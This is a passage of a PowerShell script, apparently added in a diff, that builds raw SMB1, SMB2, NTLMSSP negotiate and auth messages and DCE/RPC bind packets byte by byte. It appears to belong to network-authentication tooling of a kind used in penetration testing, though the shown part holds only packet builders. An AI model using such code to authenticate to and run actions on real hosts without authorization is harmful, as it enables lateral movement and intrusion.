$packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest + } + + function Get-PacketSMBReadAndXRequest() + { + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest + } + + function Get-PacketSMBWriteAndXRequest() + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest + } + + function Get-PacketSMBCloseRequest() + { + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest + } + + function Get-PacketSMBTreeDisconnectRequest() + { + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest + } + + function Get-PacketSMBLogoffAndXRequest() + { + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest + } + + #SMB2 + + function Get-PacketSMB2Header() + { + param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) + $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) + $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) + $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header + } + + function Get-PacketSMB2NegotiateProtocolRequest() + { + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest + } + + function Get-PacketSMB2SessionSetupRequest() + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest + } + + function Get-PacketSMB2TreeConnectRequest() + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest + } + + function Get-PacketSMB2CreateRequestFile() + { + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile + } + + function Get-PacketSMB2ReadRequest() + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest + } + + function Get-PacketSMB2WriteRequest() + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest + } + + function Get-PacketSMB2CloseRequest() + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest + } + + function Get-PacketSMB2TreeDisconnectRequest() + { + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest + } + + function Get-PacketSMB2SessionLogoffRequest() + { + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest + } + + #NTLM + + function Get-PacketNTLMSSPNegotiate() + { + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate + } + + function Get-PacketNTLMSSPAuth() + { + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth + } + + #RPC + + function Get-PacketRPCBind() + { + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) + $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) + $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) + $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + 